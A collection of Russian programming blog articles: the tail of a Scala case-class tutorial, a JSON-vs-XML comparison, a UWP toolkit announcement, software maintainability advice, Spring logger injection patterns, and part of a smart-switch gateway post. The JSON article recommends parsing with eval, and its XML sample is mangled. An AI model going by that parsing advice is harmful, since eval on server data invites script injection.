Например, применение исключений для метода квадратного корня при выдаче отрицательного числа является неуместным. Метод квадратного корня должен быть определен так, чтобы возвращать либо ошибку (`String`), если входное число отрицательное, либо фактический результат, если число положительное.
Чтобы добавить "ошибку по значению", мы создадим дополнительный метод `applyE` (где E — это Error), который использует `Either`, чтобы охватить как правильный, так и ошибочный случай входного параметра. Метод выглядит следующим образом:
```
def applyE(value: Double): Either[List[String], Longitude] =
generateInvalidStateErrors(value) match {
case Nil =>
Right(new Longitude(value))
case invalidStateErrors =>
Left(invalidStateErrors)
}
```
Это выглядит удивительно схоже с методом `apply`. На самом деле, он настолько идентичен, что по сути является дублированием кода. Поэтому, для исключения повтора, мы заново имплементируем метод `apply`, используя `applyE`, который теперь выглядит следующим образом:
```
def apply(value: Double): Longitude =
applyE(value) match {
case Right(longitude) =>
longitude
case Left(invalidStateErrors) =>
throw new IllegalStateException(invalidStateErrors.mkString("|"))
}
```
[Scastie Сниппет](https://scastie.scala-lang.org/509NDyf6Sp2wW6mtgR0rwA)
Имплементация этого зачастую оказывает влияние на данную категорию обзора:
* 3: Плохой дизайн для ФП
### Добавление мемоизации/кэширования
Благодаря этому новому шаблону мы обеспечили проверку всех предварительных условий с помощью одного метода. То же самое с инстанцированием. Предполагая, что иммутабельность была сохранена, это сделало тривиальным добавление стратегии мемоизации (кэширования).
Вот пример объекта-компаньона, модифицированного для инкорпорирования мемоизации.
```
object Longitude extends (Double => Longitude) {
private var cachedInvalidStateErrorss: Map[Double, List[String]] = Map.empty
private var cachedInstances: Map[Double, Longitude] = Map.empty
def generateInvalidStateErrors(value: Double): List[String] = {
cachedInvalidStateErrorss.get(value) match {
case Some(invalidStateErrors) => invalidStateErrors
case None =>
val invalidStateErrors =
if (value < -180.0d)
List(s"value of value [$value] must be not be less than -180.0d")
else if (value > 180.0d)
List(s"value of value [$value] must be not be greater than 180.0d")
else
Nil
val newItem = (value, invalidStateErrors)
cachedInvalidStateErrorss = cachedInvalidStateErrorss + newItem
invalidStateErrors
}
}
…
def applyE(value: Double): Either[List[String], Longitude] =
generateInvalidStateErrors(value) match {
case Nil =>
Right(
cachedInstances.get(value) match {
case Some(longitude) => longitude
case None =>
val longitude = new Longitude(value)
val newItem = (value, longitude)
cachedInstances = cachedInstances + newItem
longitude
}
)
case invalidStateErrors =>
Left(invalidStateErrors)
}
}
```
[Scastie Сниппет](https://scastie.scala-lang.org/4RSkKKb1RK2nlnAVpno6Pg)
Стратегия мемоизации, показанная в приведенном выше фрагменте кода, предназначена **только в качестве примера**, потому что это ужасная стратегия по умолчанию.
Пожалуйста, используйте один из многих других доступных вариантов. В частности, изучите [ScalaCache](https://cb372.github.io/scalacache/). Это отличная обобщенная библиотека кэширования, которая позволяет выбирать между различными специализированными имплементациями поддерживаемой базы.
ScalaCache поддерживает широкий спектр библиотек кэширования. Несколькими такими библиотеками являются [Redis](https://www.baeldung.com/memcached-vs-redis), [Memcached](https://www.baeldung.com/memcached-vs-redis), [Guava Cache](https://www.baeldung.com/guava-cache), [Caffeine](https://www.baeldung.com/java-caching-caffeine) и [EhCache](https://www.baeldung.com/ehcache). Мы можем с легкостью взаимозаменяемо использовать любую из этих библиотек кеширования в ScalaCache с минимальным рефакторингом.
Имплементация этого зачастую оказывает влияние на данную категорию обзора:
* 6: Влияние на производительность
### Пример с несколькими свойствами
Чтобы сократить объем текста для чтения, я ограничил все приведенные выше примеры классов одним свойством (также известное как “член”). Ниже приведена версия, обобщенная до трех свойств.
```
object GeoCoordinate3d extends ((Double, Double, Double) => GeoCoordinate3d) {
val equatorialRadiusInMeters: Double = 6378137.0d
private var cachedInvalidStateErrorss: Map[(Double, Double, Double), List[String]] = Map.empty
private var cachedInstances: Map[(Double, Double, Double), GeoCoordinate3d] = Map.empty
def generateInvalidStateErrors(
longitude: Double
, latitude: Double
, altitudeInMeters: Double
): List[String] = {
val tuple3 = (longitude, latitude, altitudeInMeters)
cachedInvalidStateErrorss.get(tuple3) match {
case Some(invalidStateErrors) => invalidStateErrors
case None =>
val invalidStateErrors = {
List(
if (longitude < -180.0d)
s"value of longitude [$longitude] must be not be less than -180.0d"
else if (longitude > 180.0d)
s"value of longitude [$longitude] must be not be greater than 180.0d"
else
""
, if (latitude < -90.0d)
s"value of latitude [$latitude] must be not be less than -90.0d"
else if (latitude > 90.0d)
s"value of latitude [$latitude] must be not be greater than 90.0d"
else
""
, if (altitudeInMeters < -equatorialRadiusInMeters)
s"value of altitudeInMeters [$altitudeInMeters] must be not be less than -${equatorialRadiusInMeters}d"
else
""
).filter(_.nonEmpty)
}
val newItem = (tuple3, invalidStateErrors)
cachedInvalidStateErrorss = cachedInvalidStateErrorss + newItem
invalidStateErrors
}
}
def apply(
longitude: Double
, latitude: Double
, altitudeInMeters: Double
): GeoCoordinate3d =
applyE(longitude, latitude, altitudeInMeters) match {
case Right(geoCoordinate3d) =>
geoCoordinate3d
case Left(invalidStateErrors) =>
throw new IllegalStateException(invalidStateErrors.mkString("|"))
}
def applyE(
longitude: Double
, latitude: Double
, altitudeInMeters: Double
): Either[List[String], GeoCoordinate3d] =
generateInvalidStateErrors(longitude, latitude, altitudeInMeters) match {
case Nil =>
val tuple3 = (longitude, latitude, altitudeInMeters)
Right(
cachedInstances.get(tuple3) match {
case Some(geoCoordinate3d) => geoCoordinate3d
case None =>
val geoCoordinate3d = new GeoCoordinate3d(longitude, latitude, altitudeInMeters)
val newItem = (tuple3, geoCoordinate3d)
cachedInstances = cachedInstances + newItem
geoCoordinate3d
}
)
case invalidStateErrors =>
Left(invalidStateErrors)
}
}
final case class GeoCoordinate3d private(
longitude: Double
, latitude: Double
, altitudeInMeters: Double
) {
private def readResolve(): Object =
GeoCoordinate3d(longitude, latitude, altitudeInMeters)
def copy(
longitude: Double = longitude
, latitude: Double = latitude
, altitudeInMeters: Double = altitudeInMeters
): GeoCoordinate3d =
GeoCoordinate3d(longitude, latitude, altitudeInMeters)
}
```
[Scastie Сниппет](https://scastie.scala-lang.org/f8LMCgvQTtOjDGxxL45x7A)
Повторимся, что стратегия мемоизации, показанная в приведенном выше сниппете, предназначена **только в качестве примера**, потому что это плохая стратегия по умолчанию.
Как уже предлагалось ранее, пожалуйста, используйте один из многих других доступных вариантов, например [ScalaCache](https://cb372.github.io/scalacache/).
### Советы и рекомендации
* [Никогда не переопределяйте методы equals и hashCode](https://users.scala-lang.org/t/overriding-methods-in-case-class/7753/3?u=chaotic3quilibrium)
+ Если считаете, что вам это необходимо, используйте обычный класс, а затем убедитесь, что вы очень точно следуете [нетривиальному шаблону полного переопределения, который описан в этом сообщении StackOverflow](https://stackoverflow.com/a/56509518/501113).
* Избегайте использования case-класса, если требуется мутабельность состояния, поскольку [по умолчанию предполагается, что case-класс будет представлять иммутабельное значение, безопасное с точки зрения параллелизма](https://docs.scala-lang.org/tour/case-classes.html) .
+ Если необходима мутабельность состояния, используйте обычный класс и обязательно указывайте, является ли он безопасным для обмена данными.
* Избегайте использования [паттерна запечатанных (изолированных) case- объектов/классов для перечислений](https://stackoverflow.com/a/25923651/501113) (также известных как [тип-сумма ФП](https://en.wikipedia.org/wiki/Tagged_union)) и вместо этого используйте автоматическую генерацию кода, так как чем больше кода генерируется именно компилятором, тем меньше количество дефектов, накопления технического долга и областей уязвимости безопасности
+ В Scala 2.x лучше применить библиотеку [Enumeratum](https://github.com/lloydmeta/enumeratum).
+ В Scala 3.x рекомендуется использовать [новый тип Enum](https://docs.scala-lang.org/scala3/reference/enums/enums.html)
+ Все перечисления являются тип-сумма ФП, но не все тип-сумма ФП являются перечислениями.
**Резюме**
Даже если некоторые из приведенных выше "бойлерплейтов" были сочтены вами как нежелательные, я надеюсь, что вы все равно остались довольны и узнали что-то новое о case-классах, делающими их более полезными для вас при решении будущих задач по разработке программного обеспечения на Scala.
---
Завтра вечером состоится открытое занятие «Алгебраические типы данных и сопоставление с образцом», на котором разберем иерархию классов, функциональность сопоставления с образцом для чисел и строк. После занятия участники будут понимать, что такое алгебраические типы данных и смогут использовать их на практике. Регистрация для всех желающих [**доступна по ссылке.**](https://otus.pw/w4S0/) | https://habr.com/ru/post/672374/ | null | ru | null |
# JSON vs. XML
Для меня скорее это **не противостояние**, а выбор более подходящего и удобного вида обмена данными между клиентом и сервером, для кого-то этот выбор может быть совершенно другим…
Так как на клиенте я часто (90%) использую JavaScript, то JSON является моим **де-факто**! Кто он за зверь?
**JavaScript Object Notation** [json.org](http://json.org) — объектная нотация (описание объектов) в JavaScript. На сайте можно почитать его полное опеределение или, в крайнем случае, на [ru.wikipedia.org/wiki/JSON](http://ru.wikipedia.org/wiki/JSON)
**Почему именно JSON?**
* Родное описание объектов для JavaScript, которое преобразуется в объект одной функцией eval. Для более безопасной обработки можно использовать специальную библиотеку [json.org/json.js](http://json.org/json.js)
* Поддержка всех основных типов данных, которые могут легко сеарилизованы (преобразованы) из любого языка программирования
* Минимальное семантическое представление, что позволяет в разы снизить размер ответа сервера, а следовательно, и нагрузку на него.
Пример преобразования из **PHP**
> `$data = array( 'a' => 'hello', 'b' => 100, 'c' => array( 'd' => 'planet', 'longstring' => 'oops' ) );
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
в **XML** (84 байт):
> `<data><a>helloa><b>100b><c><d>planetd><longstring>oopslongstring>c>data>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
в **JSON** (60 байт):
> `{"a":"hello","b":100,"c":{"d":"planet","longstring":"oops"}}
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Из этого следует, что в JSON мы экономим **24 байта** трафика, а это составляет **28.57%** от XML трафика в этом частном случае.
Конечно, в JSON нет таких вещей как XPath, XSLT, XQuery, XLink, XPointer. В JSON нет атрибутов. И для русского языка лучше в JSON использовать utf8. Но для JavaScript он идеален, так как JSON **сам по себе** является JavaScript. | https://habr.com/ru/post/51657/ | null | ru | null |
# Представляем новый UWP Community Toolkit
[](http://habrahabr.ru/post/308020/)
Недавно мы выпустили юбилейное обновление Windows 10 и новый [Windows Software Developer Kit (SDK)](https://developer.microsoft.com/en-us/windows/downloads) содержащий в себе инструменты, шаблоны приложений, элементы управления, Windows Runtime API, эмуляторы и многое другое, помогающее создавать инновационные и привлекательные приложения универсальной платформы Windows.
Сегодня мы представляем open-source [UWP Community Toolkit](http://aka.ms/uwptoolkit), — новый проект, который позволяет сообществу разработчиков взаимодействовать и вносить свой вклад в виде новых возможностей дополнительно к SDK.
Мы создали этот набор инструментов со следующими целями:
1. **Упрощение разработки приложений**: toolkit включает в себя новые возможности (вспомогательные функции/helper-ы, пользовательские элементы управления и сервисы приложения) которые упрощают или демонстрируют большинство задач разработчика. Здесь наша потенциальная цель это дать возможность разработчикам работать всего одной строкой кода.
2. **Open-Source**: набор инструментов (исходный код, задачи и план действий) будут разрабатываться как open-source проект. Мы будем рады вкладу сообщества .Net.
3. **Согласованность с SDK**: отзывы сообщества на этот проект будут учитываться при разработке будущих версий Windows SDK для Windows 10.
Например, toolkit облегчает возможность поделиться содержимым из вашего приложения с такими социальными сетями, как Twitter, взяв на себя всю заботу о OAuth аутентификации:
```
// Initialize service
TwitterService.Instance.Initialize("ConsumerKey", "ConsumerSecret", "CallbackUri");
// Login to Twitter
await TwitterService.Instance.LoginAsync();
// Post a tweet
await TwitterService.Instance.TweetStatusAsync("Hello UWP!");
```
Кроме того, набор инструментов предоставляет методы, позволяющие разработчикам анимировать элементы интерфейса всего одной строкой кода:
```
await element.Rotate(30f).Fade(0.5).Offset(5f).StartAsync();
```
Далее вы сможете найти больше информации о возможностях первого релиза, о том как начать разработку, планах на будущее и о том как внести свой вклад в разработку.
#### UWP Community Toolkit 1.0
Набор инструментов может быть использован с любым новым или существующим приложением, написанным на C# или VB.NET. Мы собираемся поддерживать последний и предыдущий стабильные релизы SDK. На данный момент тулкит совместим с приложениями, разработанными начиная с Windows 10 SDK сборки 10586 и выше.
UWP Community Toolkit может быть использован для создания приложения под любые устройства Windows 10, включая PC, Mobile, XBOX, IoT, и HoloLens. Вы также можете использовать этот набор инструментов с существующим десктопным приложением сконвертированным в UWP используя Desktop Bridge.
Изображение в заголовке статьи показывает некоторые возможности, которые включены в первый релиз набора инструментов
Мы также выпустили приложение [UWP Community Toolkit Sample App](http://aka.ms/uwptoolkitapp) в Windows Store, которое позволяет легко ознакомиться с возможностями тулкита перед его установкой или загрузкой SDK. Это приложение также позволит вам легко скопировать и вставить код, который вам необходим для того чтобы начать использовать возможности тулкита в ваших проектах.
О том как начать работу вы можете прочитать по ссылке [Getting Started](https://developer.microsoft.com/ru-ru/windows/uwp-community-toolkit/getting-started)
Это довольно просто:
1. Необходимо чтобы у вас была установлена [Visual Studio 2015 c последним обновлением под номером 3 и SDK](https://developer.microsoft.com/en-us/windows/downloads)
2. Создаете новый проект или открываете уже существующий
3. Добавляете UWP Community Toolkit в ваш проект. Открываете диспетчер пакетов Nuget и совершаете поиск по словам «Microsoft.Toolkit.UWP». Устанавливаете
4. Добавляете ссылку на пакет в XAML
5. и в C#:
```
using Microsoft.Toolkit.Uwp;
```
6. Примеры сниппетов вы можете найти в уже упомянутом [приложении](http://aka.ms/uwptoolkitapp) или в [документации](http://aka.ms/uwptoolkitdocs)
В будущем мы планируем выпускать стабильные релизы через Visual Studio NuGet на регулярной основе.
Набор инструментов является полностью open-source, включая исходный код тулкита, исходный код приложения примера и даже документацию. Планы на следующую версию доступны [здесь](https://github.com/Microsoft/UWPCommunityToolkit/issues?q=is%3Aopen+is%3Aissue+milestone%3Av1.1)
* если вам нужно отправить баг или запрос на изменения или добавления функционала, то используйте [эту форму](http://aka.ms/uwptoolkitbug)
* если вы хотите внести вклад в разработку, то начните, пожалуйста, [отсюда](https://github.com/Microsoft/UWPCommunityToolkit/blob/master/contributing.md)
Мы крайне рады вкладу который уже внесли некоторые участники сообщества в первом релизе. Это в частности Morten Nielsen, Scott Lovegrove, Pedro Lamas, Oren Novotny, James Croft, Diederik Krols, Hermit Dave, Thomas Nigro, Laurent Bugnion, Samuel Blanchard и Rudy Hyun. В перспективе мы ожидаем продолжение развития с еще большим вкладом сообщества.
Так что, пожалуйста, попробуйте приложение UWP Community Toolkit Sample App, чтобы узнать о возможностях, затем установите пакет из NuGet и поиграйте с ним. Мы надеемся, что разработчики дадут нам хорошую обратную связь по поводу юзабилити и возможностей, присутствующих в проекте. В этом опенсорсовом проекте еще хватит дел: мы можем помочь усовершенствовать доступность и локализацию, а также убедиться, что возможности работают со всеми приложениями. | https://habr.com/ru/post/308020/ | null | ru | null |
# Семь смертных грехов разработки ПО
*Перевод статьи [Seven Deadly Sins of a Software Project](http://www.yegor256.com/2015/06/08/deadly-sins-software-project.html) автора [Yegor Bugayenko](http://www.yegor256.com/about-me.html).*
*Сопровождаемость* — это [наиболее ценное достоинство](http://www.yegor256.com/2014/10/26/hacker-vs-programmer-mentality.html) современной разработки программного обеспечения. [Сопровождаемость](https://en.wikipedia.org/wiki/Maintainability) может измеряться, в основном, рабочим временем, которое требуется новому разработчику, чтобы вникнуть в проект, до того, как он начнет вносить значимые изменения. Чем больше времени это занимает, тем меньше уровень сопровождаемости. В некоторых проектах это время близко к бесконечности, что означает, эти проекты практически не сопровождаемы. Я хочу рассказать вам о семи смертных **грехах**, которые делают программный продукт несопровождаемым.
### Анти-паттерны
К сожалению, языки программирования, которые мы используем, слишком *гибкие*. Они слишком много позволяют и слишком мало запрещают. К примеру, Java никак не запретит вам разместить код всего приложения в одном классе с парой сотен методов. Технически, приложение скомпилируется и запустится. Но это — хорошо известный анти-паттерн [Божественный объект](https://en.wikipedia.org/wiki/God_object).
Таким образом, [анти-паттерн](https://en.wikipedia.org/wiki/Anti-pattern) — это технически допустимый способ спроектировать приложение так, что бы оно было заведомо неправильным. В каждом языке программирования существует достаточно большое количество анти-паттернов. Их присутствие в вашем проекте схоже с опухолью в живом организме. Однажды она начала расти и её уже очень трудно остановить. В конце концов живой организм погибает. В конце концов ваш проект становиться несопровождаемым, и его необходимо переписать.
Однажды вы допустили парочку анти-паттернов, и их количество, как опухоль, будет только расти.
Это особенно актуально для объектно-ориентированных языков(Java, C++, Ruby, Python), в основном, потому что они много чего унаследовали от процедурных языков(C, Fortran, COBOL). Именно поэтому ООП-разработчики имеют тенденцию думать в процедурном и императивном стиле. К сожалению.
Кстати, в дополнение к существующему [списку всем известных анти-паттернов](https://en.wikipedia.org/wiki/Anti-pattern), я хотел бы добавить [эти несколько моментов от себя](http://www.yegor256.com/2014/09/10/anti-patterns-in-oop.html), которые я считаю плохими подходами к разработке.
Мой практический совет здесь — это читать и учиться. Возможно, [эти книги](http://www.yegor256.com/2015/04/22/favorite-software-books.html) помогут вам. Всегда относитесь скептически к качеству вашего кода и не расслабляйтесь, когда оно «просто работает». Как и в случае с [раком](https://en.wikipedia.org/wiki/Cancer), чем раньше его диагностируешь, тем выше шанс выжить.
### Неотслеживаемые изменения
Когда я смотрю на историю коммитов, я должен иметь возможность рассказать о каждом изменении: *что* было изменено, *кто* внес эти изменения и *почему* эти изменения были внесены. Более того, время, которое требуется для того, что бы ответить на эти три вопроса, должно измеряться в секундах. В большинстве проектов этого нет. Вот несколько практических рекомендаций:
**Всегда используйте тикеты**. Не важно, на сколько проект или команда малы, даже если вы один, создавайте тикеты(GitHub Issues) для каждой проблемы, которую вам предстоит решить. Кратко опишите проблему в тикете. Используйте тикетную систему для промежуточных мыслей, что бы потом было понятно, к чему были «те несколько коммитов».
**Связывайте тикеты и коммиты между собой**. Само собой, каждый коммит должен сопровождаться сообщением. Коммиты без сообщений — это грязная практика, и я даже не буду обсуждать, почему. Но одно только сообщение — этого не достаточно. Каждое сообщение должно начинаться с номера тикета, с которым вы работаете. GitHub(А я уверен что вы используете его) автоматически свяжет тикеты и комиты, давая возможность *лучше прослеживать* изменения.
**Ничего не удаляйте**. Git позволяет нам делать «push --force», что перезаписывает целую ветку, которая до этого существовала на сервере. Это всего лишь один пример того, как вы можете уничтожить история разработки. Часто я видел, как люди удаляют свои комментарии на GitHub discussions, что бы их тикеты выглядели более «чистыми». Это просто-напросто неправильно. Никогда ничего не удаляйте; оставьте свою историю, не важно, на сколько она плохая(или некрасивая) на ваш взгляд.
### Сложные релизы
Каждый кусок программного продукта должен быть упакован, прежде чем он будет доставлен конечному пользователю. Если это Java библиотека, она должна быть упакована в \*.jar-файл и выпущена на каком-то репозитории; Если это — web-приложение, то оно должно быть развернуто на какой-то платформе, и т.д. Не имеет значения, на сколько проект большой или маленький, всегда должны быть стандартные процедуры, которые тестируют(test), упаковывают(package), и разворачивают(deploy).
Идеальным решением будет автоматизация этих процедур до такого уровня, что их можно будет запустить одно строчной командой:
```
./release.sh
```
или
```
mvn deploy
```
Большинство проектов далеки от этого. Их процесс релиза всегда включает в себя немного магии, где сотрудник, ответственный за это(так же известный, как DevOp), должен прокликать какие-то кнопки тут и тут, где-то авторизоваться, проверить какие-то метрики и т.д. Такой *сложный* процесс релиза все ещё является вполне типовым грехом всей индустрии разработки ПО.
Я могу дать лишь один практический совет: Автоматизируй это. Я использую [rultor.com](http://www.yegor256.com/2014/09/11/deployment-script-vs-rultor.html) для этого, но вы можете использовать любые инструменты на свой вкус. Здесь важно то, что вся процедура полностью автоматизирована и может быть выполнена при помощи командной строки.
### Добровольный статический анализ
[Статический анализ](https://en.wikipedia.org/wiki/Static_program_analysis) — это то, благодаря чему наш код *выглядит* лучше и, следовательно, лучше *работает*. Но это случается только тогда, когда вся команда принудительно(!) следует правилам, диктуемым статическим анализатором. Я писал об этом в [Strict Control of Java Code Quality](http://www.yegor256.com/2014/08/13/strict-code-quality-control.html). Я использую [qulice.com](http://www.qulice.com/) для проектов на Java и [rubocop](https://github.com/bbatsov/rubocop) для проектов на Ruby, но, помимо этого, существует множество вариантов для каждого языка.
Вы можете использовать любой анализатор, но сделайте это обязательным! Во многих проектах, где задействованы статические анализаторы, разработчики пишут красивые репорты и продолжают писать код как раньше. Такой «добровольный» подход не дает никакой пользы проекту. Более того, это создает иллюзию качества.
Я говорю о том, что статический анализ кода должен быть обязательным шагом вашего производственного конвейера. Сборка не должна проходить, если какой-либо статический анализатор указал на нарушение правил.
### Неизвестное покрытие тестами
Проще говоря, [покрытие тестами](https://en.wikipedia.org/wiki/Code_coverage) — это процент кода, который тестируется модульными или интеграционными тестами. Чем выше процент покрытия, тем больше кода прогоняется во время тестирования. Разумеется, чем больше процент покрытия, тем лучше.
Однако, многие разработчики, просто-напросто не знают процент покрытия тестами. Они не замеряют эту метрику. У них могут быть тесты, но никто не знает, на сколько глубоко они проникают в код и какая часть кода не покрыта тестами вообще. Эта ситуация гораздо хуже, чем низкий процент покрытия, который можно измерить.
Высокий процент покрытия — это не гарантия высокого качества. Это очевидно. Но неизвестный процент покрытия — это четкий признак проблем с сопровождаемостью. Когда новый разработчик присоединяется к проекту, он должен иметь возможность вносить некоторые изменения и видеть, как тесты реагируют на это. В идеале, процент покрытия тестами должен измеряться таким же образом, как и в случае со статическим анализом, сборка не должна проходить, если значение падает ниже какого-то заранее определенного порога(обычно около 80 процентов).
### Бесконечная разработка
Под «бесконечной» я имею в виду разработку без этапов(майлстоунов) и релизов. Без разницы, какое ПО вы пишете, вы должны периодически присваивать версии и делать релизы. Проект без четкой истории релизов — это несопровождаемое месиво.
В большей степени, сопровождаемость — это когда я могу понять вас, прочитав ваш код.
Когда я смотрю исходный код и историю его комитов и релизов, я должен видеть, каковы были намеренья автора, что происходило с проектом год назад, куда он идет сейчас, какой его план развития и т.д. Вся эта информация должна быть в исходном коде и, важнее всего, в Git истории.
Git tags и GitHub release notes — это два мощных инструмента, которые предоставляют мне всю информацию. Используйте их по полной. Так же не забудьте, что каждая бинарная версия продукта должна быть доступна для немедленной загрузки. Я хочу иметь возможность скачать версию 0.1.3 и протестировать ее прямо сейчас, даже если продукт сейчас находится в версии 3.4.
### Недокументированные интерфейсы
Каждый кусок программного продукта имеет свой интерфейс, через который его следует использовать. Если это Ruby gem, то должны быть классы и методы, которые я хочу использовать, как конечный пользователь. Если это web-приложение, то должны быть web-страницы, которые конечный пользователь будет видеть и использовать. Каждый программный продукт имеет интерфейсы, и они должны быть аккуратно документированы.
Как и все вышесказанное, это так же относится к сопровождаемости. Как новый программист на проекте, я сразу начну изучать его интерфейсы. Я должен понимать, что он делает и пробовать использовать его самостоятельно.
Я говорю здесь о документации для пользователей, а не для разработчиков. По идее, я против документации внутри ПО. В этом я полностью поддерживаю [Agile Manifesto](http://agilemanifesto.org/) — работающий программный продукт гораздо важнее, чем подробное документирование. Но это не относится к «внешней» документации, которая предназначена для конечных пользователей, а не для разработчиков.
Итак, взаимодействие конечных пользователей с вашим программным продуктом должно быть четко документировано.
Если вашим продуктом является библиотека, тогда его конечный пользователь — это программист, который будет ее использовать — не развивать ее, а именно использовать, как «черный ящик».
Это критерии, которые используются для оценки проектов с открытым исходным кодом в нашем [award competition](http://www.yegor256.com/award.html). | https://habr.com/ru/post/260241/ | null | ru | null |
# Как в Spring logger получить
Разрабатывая приложения используя IoC-контейнер Spring думаю каждый задумывался, а как же «правильнее и красивее» создать логгер. В данной публикации хочу привести несколько примеров решения данной задачи.
#### Решение 1
Получаем логгер напрямую через LoggerFactory:
```
@Component
public class MyBean {
private static final Logger log = LoggerFactory.getLogger("application");
...
}
```
Данное решение является классическим, безусловно работающим, но нарушает саму идеологию IoC, ведь нам хочется, что бы работу по созданию логгера выполнил сам контейнер.
#### Решение 2
Получаем логгер из контейнера при помощи Autowired:
```
@Component
public class MyBean {
@Autowired
private Logger log;
...
}
```
Для этого в конфигурации Spring объявляем Bean:
```
@EnableAutoConfiguration
@ComponentScan
public class ApplicationConfiguration {
@Bean
public Logger logger(){
return LoggerFactory.getLogger("application");
}
...
}
```
В данном решении задача по созданию логгера возложена на сам контейнер и укладывается в идеологию IoC, но что же делать, если логгеров в приложении должно быть больше одного?
#### Решение 3
Объявляем каждый логгер в виде отдельного Bean:
```
@EnableAutoConfiguration
@ComponentScan
public class ApplicationConfiguration {
@Bean
@Primary
public Logger logger(){
return LoggerFactory.getLogger("application");
}
@Bean(name = "loggerBean")
public Logger loggerBean(){
return LoggerFactory.getLogger("loggerBean");
}
...
}
```
Получаем нужный логгер используя соответствующий Qualifier:
```
@Component
public class MyBean {
@Autowired
private Logger log;
@Autowired
@Qualifier("loggerBean")
private Logger log2;
...
}
```
Данное решение является достаточным в большинстве случаев, и использует только готовые средства контейнера. Одним из минусов данного решения является то, что при добавлении нового логгера всегда придется объявлять новый Bean. Есть ли более универсальный способ?
#### Решение 4
Получаем логгер из контейнера при помощи специальной аннотации, назовем ее Logging:
```
@Component
public class MyBean {
@Logging
private Logger log;
@Logging("loggerBean")
private Logger log2;
...
}
```
Для это собственно необходимо объявить аннотацию:
```
@Target({ElementType.FIELD})
@Retention(RetentionPolicy.RUNTIME)
public @interface Logging {
String value();
}
```
Данная аннотация будет указывать контейнеру на то, что необходим логгер с именем переданным в параметр value. Если данный параметр не указан, то логгер будет получен по классу компонента, в нашем случае MyBean.
Отлично, но контейнер не умеет обрабатывать нашу аннотацию. Давайте его научим, для этого создадим процессор:
```
public class LoggingAnnotationProcessor implements BeanPostProcessor {
@Override
public Object postProcessBeforeInitialization(Object bean, String beanName) {
Class clazz = bean.getClass();
do {
for (Field field : clazz.getDeclaredFields()) {
Logging annotation = field.getAnnotation(Logging.class);
if (annotation!= null) {
boolean accessible = field.isAccessible();
field.setAccessible(true);
try {
if(!annotation.value().isEmpty()){
field.set(bean, LoggerFactory.getLogger(annotation.value()));
} else {
field.set(bean, LoggerFactory.getLogger(clazz));
}
} catch (IllegalAccessException e) {
LoggerFactory.getLogger(this.getClass()).error(e.getMessage(), e);
}
field.setAccessible(accessible);
}
}
clazz = clazz.getSuperclass();
} while (clazz != null);
return bean;
}
@Override
public Object postProcessAfterInitialization(Object bean, String beanName) {
return bean;
}
}
```
И объявим процессор в конфигурации Spring:
```
@EnableAutoConfiguration
@ComponentScan
public class ApplicationConfiguration {
@Bean
public LoggingAnnotationProcessor loggingAnnotationProcessor(){
return new LoggingAnnotationProcessor();
}
...
}
```
Данное решение является более универсальным, но необходимо дополнительно объявить аннотацию и написать для нее процессор.
#### Заключение
Друзья, предлагай в комментариях ваши варианты решения данной задачи, буду очень рад!
Исходный код примеров доступен на [GitHub](https://github.com/onakrainikoff/spring-logging.git) | https://habr.com/ru/post/276729/ | null | ru | null |
# Радиоуправляемый выключатель своими руками. Часть 4 — Центр управления
Собственно, выключатель [спроектирован, произведен](http://habrahabr.ru/post/211126/), [протестирован](http://habrahabr.ru/post/212785/), [запрограммирован, установлен и вполне себе самостоятельно работает](http://habrahabr.ru/post/215177/).
Теперь хотелось бы воспользоваться им «на полную катушку».
Пока не хватает следующих возможностей по удаленному управлению:
* Изменять временные характеристики работы выключателя.
* Узнать текущее его состояние.
* Управлять его состоянием.
Отображение текущего состояния и управление выключателем реализуем в виде веб-страницы.
Дополнительно реализуем сохранение данных в базу данных для дальнейшей обработки (например, чтобы рисовать красивые графики).
#### Железо
Для дальнейшей работы я буду использовать:
* Плата [iBoard](http://devicter.ru/goods/Iteaduino-Iboard) и модуль nrf24l01+ (из этого мы организуем шлюз LAN<=>RF24)
* Сетевое хранилище Synology (как веб-сервер с базой mySQL)
Естественно, вы можете использовать то, что есть под рукой (к примеру, ардуинку с Ethernet-шилдом на Wiznet — для создания шлюза) и любой компьютер, на котором у вас работает php и есть mySQL (ничего суперспецифичного делать не будем).
Посмотрим, какие коммуникации между модулями получаются.
#### Распределение ролей
Между выключателем (да и любым другим беспроводным устройством по моему «учебнику») и шлюзом — все просто и уже определено (см. [предыдущую статью](http://habrahabr.ru/post/215177/) — там есть полное описание передаваемой структуры).
Поднимать на iBoard «веб-сервер», который бы мог сразу решить наши задачи, потенциально можно, но больно хлопотно и в случае необходимости изменений — нужно будет сильно менять код (а если он находится где-нибудь в труднодоступном месте — еще и крайне неудобно).
Поэтому мы сделаем из iBoard именно шлюз, который будет принятые данные отправлять «большому брату» (он мощнее, поэтому на него возлагаются задачи по логированию, отображению информации на веб-страницах и т.п.).
Этот же модуль будет получать «команды» от «большого брата» и отправлять их в эфир и отчитываться по ответам от «исполнителей».
Роли «железкам» распределены — теперь надо придумать, как же они между собой будут «общаться».
Считаю, что будет правильно если:
* Какой-то модуль сообщает в эфире свое состояние, то шлюз отправляет данные на веб-сервер (метод POST). Сервер делает какую-нибудь проверку на валидность данных и «укладывает» эти данные в БД.
* Если от веб-сервера пришел запрос (метод GET) к шлюзу, то шлюз разбирает этот запрос на параметры и транслирует запрос в эфир. После этого iBoard получает ответ (или не получает) и формирует ответ ([JSON](https://ru.wikipedia.org/wiki/JSON)).
Можно было бы в качестве ответа серверу отдавать XML, но пришлось бы оперировать более длинными строками, что не слишком просто реализовать на скромных ресурсах atmega328 (на этом МК построен iBoard).
Принцип описан, дело за конкретикой.
#### Шлюз LAN<=>RF24
Сначала определяемся с GET-запросом к шлюзу (пусть его IP 192.168.1.2). Буду использовать запросы вида:
```
http://192.168.1.2/?sid=701&cmd=2&pid=1&val=0
```
В запросе передается информация о том, к какому модулю идет обращение (параметр sid), команда (cmd: 1 — читать, 2 — установить), параметр модуля (pid) и требуемое значение (val).
> «Человекопонятно» эта команда звучит следующим образом: «Выключатель в санузле, выключи свет» (см. [предыдущий пост](http://habrahabr.ru/post/215177/)).
Минимальное количество параметров, которые необходим для работы — три (sid, cmd, pid), если параметров пришло меньше — модуль должен отчитаться и сообщить:
```
{ "message": "Bad request" }
```
Если модуль «отчитался» в ответ на запрос, шлюз должен выдать ответ:
```
{"message": "OK","sensor": 701,"parameter": {"pid": 1,"pval": 0.000,"st": 1,"note": "Ch.1 (Light)"}}
```
